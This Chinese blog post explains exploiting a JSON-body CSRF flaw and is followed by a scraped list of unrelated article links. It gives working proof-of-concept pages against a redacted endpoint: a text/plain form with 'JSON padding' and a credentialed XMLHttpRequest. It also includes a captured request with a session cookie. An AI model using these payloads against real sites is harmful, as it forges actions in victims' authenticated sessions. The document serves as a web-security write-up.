CSRF作为常见漏洞,一直受到关注和研究,JSON是一种应用广泛的轻量级数据交换格式,当CSRF去POST一段JSON,情况可能会变得有些不一样;此次就一种特殊情况下的CSRF进行分析,权当抛砖引玉。

某次遇到一个没有验证token与referer的CSRF。

其原始数据包为:

POST /webnet/edit HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
Content-Length: 85
Cookie: testcookie=yes; ASP.NET_SessionId=5udmqb45qoypdc55mfp1w4vy {"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"}

很明显,这是个编辑某种信息的操作,POST的是一段JSON,且没有对token和referer的验证

用form来提交,poc如下,把name置为一段JSON,其value置为空:

<html>
  <body>
   <form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">
     <input type="hidden" name="{&quot;pSpotId&quot;:&quot;120201&quot;,&quot;pSignTimes&quot;:&quot;70&quot;,&quot;pModuleID&quot;:&quot;207&quot;,&quot;pSceneid&quot;:&quot;120201007000046&quot;}" value="" />
     <input type="submit" value="Submit request" />
   </form>
 </body>
</html>

不过这样POST的数据包会多一个“=”,因为我们虽然把value置为空,然后还是会出现“name=”。

这种情况下服务端的JSON解析器可能会拒绝这段JSON,因为它不符合JSON的数据格式。参照外国基佬的做法,我们可以给value赋值从而对这个“=”后面的数据进行补全,使得其构成一个完整的JSON格式,可避免解析器报错(JSON Padding)。

POC如下:

<html>  
<form action="http://www.xxx.com/webnet/edit" method="POST" enctype="text/plain">  
<input name='{"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046", "test":"' value='test"}'type='hidden'>  
<input type=submit>  
</form>  
</html>

得到的POST包,这样就构造出符合标准的JSON数据格式,从而避免报错:

需要注意的是,在原始的数据包里Content-Type的值是application/json,而以form去提交是没法设置enctype为application/json的,在这里设置为text/plain,那么如何设置Content-Type的值呢?

所以我们需要利用XHR进行提交,关于XHR的背景知识不再赘述:https://en.wikipedia.org/wiki/XMLHttpRequest。POC如下(其中将content-type设置为application/json):

<html>
 <body>
   <script>
     function submitRequest()
     {
       var xhr = new XMLHttpRequest();
       xhr.open("POST", "http://www.xxx.com/webnet/edit", true);
       xhr.setRequestHeader("Accept", "*/*");
       xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
       xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
       xhr.withCredentials = true;
       xhr.send(JSON.stringify({"pSpotId":"120201","pSignTimes":"70","pModuleID":"207","pSceneid":"120201007000046"});
   }
   </script>
   <form action="#">
     <input type="button" value="Submit request" onclick="submitRequest();"/>
   </form>
 </body>
</html>

在CORS标准中,定义了新的HTTP消息头Access-Control-Allow-Origin,使得服务端可以定义允许通过浏览器请求的域集合。另外,标准定义了当跨域影响用户数据HTTP请求(如用XMLHttpRequest发送post)时,浏览器会发送预检请求(OPTIONS请求)给服务端征求支持的请求方法,然后根据服务端响应允许才发送真正的请求。

在某些情况中,如果服务端对Content-Type进行校验,则不会响应这个OPTIONS请求,从而利用失败,但是更多的情况下服务端可能不会校验Content-Type,或者不会严格校验Content-Type是否为application/json,所以很多情况下这是可用的。

关于JSON CSRF的一些思考的更多相关文章

  1. JSON CSRF新姿势

    以前做渗透测试,遇到过很多次POST数据为JSON数据的CSRF,一直没有搞定,最近发现一个新姿势, ​​​本文作者:Mannix@安全文库 微信公众号:安全文库 测试的时候,当应用程序验证了Cont ...

  2. 关于JWT(Json Web Token)的思考及使用心得

    什么是JWT? JWT(Json Web Token)是一个开放的数据交换验证标准rfc7519(php 后端实现JWT认证方法一般用来做轻量级的API鉴权.由于许多API接口设计是遵循无状态的(比如 ...

  3. web全套资料 干货满满 各种文章详解

    sql注入l MySqlMySQL False注入及技巧总结MySQL 注入攻击与防御sql注入学习总结SQL注入防御与绕过的几种姿势MySQL偏门技巧mysql注入可报错时爆表名.字段名.库名高级S ...

  4. ref:web security最新学习资料收集

    ref:https://chybeta.github.io/2017/08/19/Web-Security-Learning/ ref:https://github.com/CHYbeta/Web-S ...

  5. Web-Security-Learning

    Web Security sql注入 MySql MySQL False 注入及技巧总结 MySQL 注入攻击与防御 sql注入学习总结 SQL注入防御与绕过的几种姿势 MySQL偏门技巧 mysql ...

  6. CSRF利用

    使用burpsuite的csrf poc选项,可以生成HTML代码 json CSRF flash + 307跳转 https://github.com/sp1d3r/swf_json_csrf

  7. python Web开发框架-Django (2)

    接上篇文章,介绍一些实用的技巧和注意点.首次用MarkDown编辑,感觉行空隙太大,不是那么好看. GET/POST 前后端会有数据交互,使用JQuery来实现get/post请求 GET 方法1:通 ...

  8. Bug Bounty Reference

    https://github.com/ngalongc/bug-bounty-reference/blob/master/README.md#remote-code-execution Bug Bou ...

  9. Spring Security 5.0.x 参考手册 【翻译自官方GIT-2018.06.12】

    源码请移步至:https://github.com/aquariuspj/spring-security/tree/translator/docs/manual/src/docs/asciidoc 版 ...

随机推荐

  1. String Reconstruction (并查集)

    并查集维护和我这个位置的字母连续的已经被填充的字母能到达的最右边的第一个还没有填充的位置,然后把这个位置填上应该填的东西,然后把这个位置和下一个位置连接起来,如果下一个位置还没有填,我就会把下一个位置 ...

  2. jsp (1)

    一.jsp介绍: jsp是servlet的一种包装.是html+js+css+servlet. jsp文件无需配置,如果修改了jsp文件不需要reload应用. jsp访问方法:直接访问文件名.jsp ...

  3. js 表单提交

    方式一: 使用input type="submit" 提交 <form action="http://www.w3school.com.cn/tiy/loadtex ...

  4. list根据某个字段去重

    方法一:使用Set List<User> newList = new ArrayList<User>(); Set<String> set = new HashSe ...

  5. css3 media

    @media screen and (max-width: 320px) { .cloud{position:;top: 70%;width: 150px;} .cloud2{;top: 30%;wi ...

  6. 关于react-native项目在MacBookPro环境下打包成IPA

    苹果开发者打包是需要接入公司的开发者账户里面的.看是企业账户还是什么,具体我不太清楚. 不过打包的方法倒是大同小异. 我们一起新建项目,先跑起来这个项目 npm install -g yarn rea ...

  7. 第十六节,卷积神经网络之AlexNet网络实现(六)

    上一节内容已经详细介绍了AlexNet的网络结构.这节主要通过Tensorflow来实现AlexNet. 这里做测试我们使用的是CIFAR-10数据集介绍数据集,关于该数据集的具体信息可以通过以下链接 ...

  8. python enumarate方法的使用

    '''enumerate() 函数用于将一个可遍历的数据对象(如列表.元组或字符串)组合为一个索引序列,同时列出数据和数据下标,一般用在 for 循环当中.'''

  9. PHP实现异步处理

    resource fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, ...

  10. python基础-格式化时间

    module datatime用strftime格式化时间import datetimedatetime.datetime.now() 返回microsecond,要修改datetime.dateti ...